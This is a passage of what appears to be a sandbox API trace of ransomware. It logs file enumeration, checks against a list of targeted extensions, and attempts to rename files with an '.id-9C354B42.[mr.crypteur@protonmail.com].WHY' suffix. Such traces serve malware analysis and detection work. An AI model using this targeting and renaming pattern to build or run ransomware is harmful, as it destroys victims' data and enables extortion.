returned -1 [0216.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0216.834] lstrlenW (lpString=".jpg") returned 4 [0216.834] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0216.836] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0216.836] lstrlenW (lpString="base_kor.xml") returned 12 [0216.836] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0216.838] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=488) returned 1 [0216.838] CloseHandle (hObject=0x30c) returned 1 [0216.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0216.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0216.839] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0216.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0216.839] lstrlenW (lpString=".doc") returned 4 [0216.839] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0216.839] lstrlenW (lpString=".docx") returned 5 [0216.839] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0216.839] lstrlenW (lpString=".pdf") returned 4 [0216.840] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0216.840] lstrlenW (lpString=".xls") returned 4 [0216.840] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0216.840] lstrlenW (lpString=".xlsx") returned 5 [0216.840] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0216.840] lstrlenW (lpString=".ppt") returned 4 [0216.840] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0216.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0216.840] lstrlenW (lpString=".zip") returned 4 [0216.840] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0216.840] lstrlenW (lpString=".rar") returned 4 [0216.841] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0216.841] lstrlenW (lpString=".bz2") returned 4 [0216.841] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0216.841] lstrlenW (lpString=".7z") returned 3 [0216.841] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0216.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0216.841] lstrlenW (lpString=".dbf") returned 4 [0216.841] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0216.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0216.841] lstrlenW (lpString=".1cd") returned 4 [0216.841] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0216.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0216.841] lstrlenW (lpString=".jpg") returned 4 [0216.841] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0216.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0216.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0216.842] lstrlenW (lpString=".doc") returned 4 [0216.842] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0216.842] lstrlenW (lpString=".docx") returned 5 [0216.842] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0216.842] lstrlenW (lpString=".pdf") returned 4 [0216.842] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0216.842] lstrlenW (lpString=".xls") returned 4 [0216.842] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0216.842] lstrlenW (lpString=".xlsx") returned 5 [0216.842] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0216.842] lstrlenW (lpString=".ppt") returned 4 [0216.842] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0216.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0216.843] lstrlenW (lpString=".zip") returned 4 [0216.843] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0216.843] lstrlenW (lpString=".rar") returned 4 [0216.843] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0217.622] lstrlenW (lpString=".bz2") returned 4 [0217.622] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0217.622] lstrlenW (lpString=".7z") returned 3 [0217.622] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0217.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0217.622] lstrlenW (lpString=".dbf") returned 4 [0217.622] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0217.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0217.622] lstrlenW (lpString=".1cd") returned 4 [0217.622] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0217.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0217.623] lstrlenW (lpString=".jpg") returned 4 [0217.623] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0217.623] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0217.623] lstrlenW (lpString="ko-kr.xml") returned 9 [0217.623] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0219.126] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=15097) returned 1 [0219.126] CloseHandle (hObject=0x308) returned 1 [0219.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0219.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0219.126] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0219.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0219.127] lstrlenW (lpString=".doc") returned 4 [0219.127] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0219.127] lstrlenW (lpString=".docx") returned 5 [0219.127] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0219.127] lstrlenW (lpString=".pdf") returned 4 [0219.127] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0219.127] lstrlenW (lpString=".xls") returned 4 [0219.127] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0219.128] lstrlenW (lpString=".xlsx") returned 5 [0219.128] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0219.128] lstrlenW (lpString=".ppt") returned 4 [0219.128] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0219.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0219.128] lstrlenW (lpString=".zip") returned 4 [0219.128] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0219.128] lstrlenW (lpString=".rar") returned 4 [0219.128] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0219.128] lstrlenW (lpString=".bz2") returned 4 [0219.128] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0219.129] lstrlenW (lpString=".7z") returned 3 [0219.129] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0219.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0219.129] lstrlenW (lpString=".dbf") returned 4 [0219.129] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0219.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0219.129] lstrlenW (lpString=".1cd") returned 4 [0219.129] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0219.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0219.129] lstrlenW (lpString=".jpg") returned 4 [0219.129] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0219.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0219.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0219.130] lstrlenW (lpString=".doc") returned 4 [0219.130] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0219.130] lstrlenW (lpString=".docx") returned 5 [0219.130] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0219.130] lstrlenW (lpString=".pdf") returned 4 [0219.130] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0219.130] lstrlenW (lpString=".xls") returned 4 [0219.132] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0219.132] lstrlenW (lpString=".xlsx") returned 5 [0219.132] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0219.132] lstrlenW (lpString=".ppt") returned 4 [0219.132] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0219.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0219.133] lstrlenW (lpString=".zip") returned 4 [0219.133] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0219.133] lstrlenW (lpString=".rar") returned 4 [0219.133] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0219.133] lstrlenW (lpString=".bz2") returned 4 [0219.133] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0219.133] lstrlenW (lpString=".7z") returned 3 [0219.133] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0219.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0219.133] lstrlenW (lpString=".dbf") returned 4 [0219.133] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0219.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0219.134] lstrlenW (lpString=".1cd") returned 4 [0219.134] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0219.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0219.134] lstrlenW (lpString=".jpg") returned 4 [0219.134] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0219.135] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0219.135] lstrlenW (lpString="zh-dayi.xml") returned 11 [0219.135] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0219.135] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=11067) returned 1 [0219.135] CloseHandle (hObject=0x308) returned 1 [0219.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0x20 [0219.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0219.136] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0219.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0219.137] lstrlenW (lpString=".doc") returned 4 [0219.137] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0219.137] lstrlenW (lpString=".docx") returned 5 [0219.137] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0219.137] lstrlenW (lpString=".pdf") returned 4 [0219.137] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0219.137] lstrlenW (lpString=".xls") returned 4 [0219.137] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0219.137] lstrlenW (lpString=".xlsx") returned 5 [0219.137] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0219.137] lstrlenW (lpString=".ppt") returned 4 [0219.137] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0219.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0219.138] lstrlenW (lpString=".zip") returned 4 [0219.138] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0219.138] lstrlenW (lpString=".rar") returned 4 [0219.138] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0219.138] lstrlenW (lpString=".bz2") returned 4 [0219.138] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0219.138] lstrlenW (lpString=".7z") returned 3 [0219.138] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0219.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0219.138] lstrlenW (lpString=".dbf") returned 4 [0219.138] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0219.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0219.138] lstrlenW (lpString=".1cd") returned 4 [0219.138] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0219.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0219.139] lstrlenW (lpString=".jpg") returned 4 [0219.139] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0219.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0219.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0219.139] lstrlenW (lpString=".doc") returned 4 [0219.139] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0219.139] lstrlenW (lpString=".docx") returned 5 [0219.139] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0219.139] lstrlenW (lpString=".pdf") returned 4 [0219.139] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0219.139] lstrlenW (lpString=".xls") returned 4 [0219.140] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0219.140] lstrlenW (lpString=".xlsx") returned 5 [0219.140] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0219.140] lstrlenW (lpString=".ppt") returned 4 [0219.140] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0219.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0219.140] lstrlenW (lpString=".zip") returned 4 [0219.140] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0219.140] lstrlenW (lpString=".rar") returned 4 [0219.140] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0219.140] lstrlenW (lpString=".bz2") returned 4 [0219.140] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0219.140] lstrlenW (lpString=".7z") returned 3 [0219.141] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0219.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0219.141] lstrlenW (lpString=".dbf") returned 4 [0219.141] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0219.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0219.141] lstrlenW (lpString=".1cd") returned 4 [0219.141] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0219.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0219.142] lstrlenW (lpString=".jpg") returned 4 [0219.143] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0219.143] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0219.143] lstrlenW (lpString="zh-phonetic.xml") returned 15 [0219.143] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0219.146] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=10947) returned 1 [0219.146] CloseHandle (hObject=0x308) returned 1 [0219.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20 [0219.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0219.147] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0219.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0219.147] lstrlenW (lpString=".doc") returned 4 [0219.147] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0219.147] lstrlenW (lpString=".docx") returned 5 [0219.147] lstrcmpiW (lpString1=".docx", lpString2="c.xml") returned -1 [0219.148] lstrlenW (lpString=".pdf") returned 4 [0219.148] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0219.148] lstrlenW (lpString=".xls") returned 4 [0219.148] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0219.148] lstrlenW (lpString=".xlsx") returned 5 [0219.148] lstrcmpiW (lpString1=".xlsx", lpString2="c.xml") returned -1 [0219.148] lstrlenW (lpString=".ppt") returned 4 [0219.148] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0219.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0219.148] lstrlenW (lpString=".zip") returned 4 [0219.148] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0219.149] lstrlenW (lpString=".rar") returned 4 [0219.149] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0219.149] lstrlenW (lpString=".bz2") returned 4 [0219.149] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0219.149] lstrlenW (lpString=".7z") returned 3 [0219.149] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0219.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0219.149] lstrlenW (lpString=".dbf") returned 4 [0219.149] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0219.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0219.149] lstrlenW (lpString=".1cd") returned 4 [0219.150] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0219.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0219.150] lstrlenW (lpString=".jpg") returned 4 [0219.150] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0219.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0219.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0219.150] lstrlenW (lpString=".doc") returned 4 [0219.150] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0219.150] lstrlenW (lpString=".docx") returned 5 [0219.152] lstrcmpiW (lpString1=".docx", lpString2="c.xml") returned -1 [0219.152] lstrlenW (lpString=".pdf") returned 4 [0219.152] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0219.152] lstrlenW (lpString=".xls") returned 4 [0219.152] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0219.152] lstrlenW (lpString=".xlsx") returned 5 [0219.152] lstrcmpiW (lpString1=".xlsx", lpString2="c.xml") returned -1 [0219.152] lstrlenW (lpString=".ppt") returned 4 [0219.152] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0219.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0219.152] lstrlenW (lpString=".zip") returned 4 [0219.153] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0219.153] lstrlenW (lpString=".rar") returned 4 [0219.153] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0219.153] lstrlenW (lpString=".bz2") returned 4 [0219.153] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0219.153] lstrlenW (lpString=".7z") returned 3 [0219.153] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0219.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0219.153] lstrlenW (lpString=".dbf") returned 4 [0219.154] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0219.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0219.154] lstrlenW (lpString=".1cd") returned 4 [0219.154] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0219.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0219.154] lstrlenW (lpString=".jpg") returned 4 [0219.154] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0219.155] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0219.155] lstrlenW (lpString="main.xml") returned 8 [0219.155] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0219.156] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=38485) returned 1 [0219.156] CloseHandle (hObject=0x308) returned 1 [0219.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0x20 [0219.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0219.156] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.156] 